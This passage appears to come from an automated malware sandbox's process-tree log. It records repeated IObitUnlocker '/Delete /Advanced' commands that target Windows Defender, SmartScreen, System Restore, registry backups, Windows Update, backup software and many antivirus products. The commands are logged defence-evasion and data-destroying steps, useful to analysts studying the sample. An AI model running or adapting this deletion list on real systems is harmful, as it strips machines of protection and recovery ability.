icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                  8⤵
                                                                                                    PID:3808
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                    8⤵
                                                                                                      PID:5648
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise 